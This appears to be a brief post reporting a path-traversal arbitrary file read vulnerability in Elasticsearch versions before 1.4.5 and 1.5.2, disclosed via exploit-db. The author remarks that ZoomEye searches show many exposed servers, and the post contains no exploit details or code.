ElasticSearch exposes the Local Arbitrary File Read vulnerability, affecting all versions earlier than 1.4.5 and 1.5.2.


Recently, exploit-db has revealed the Local Arbitrary File Read vulnerability caused by Path Transversal, which affects all versions earlier than 1.4.5 and 1.5.2. I tried several times on zoomeye and found that the affected area of the vulnerability is quite large.
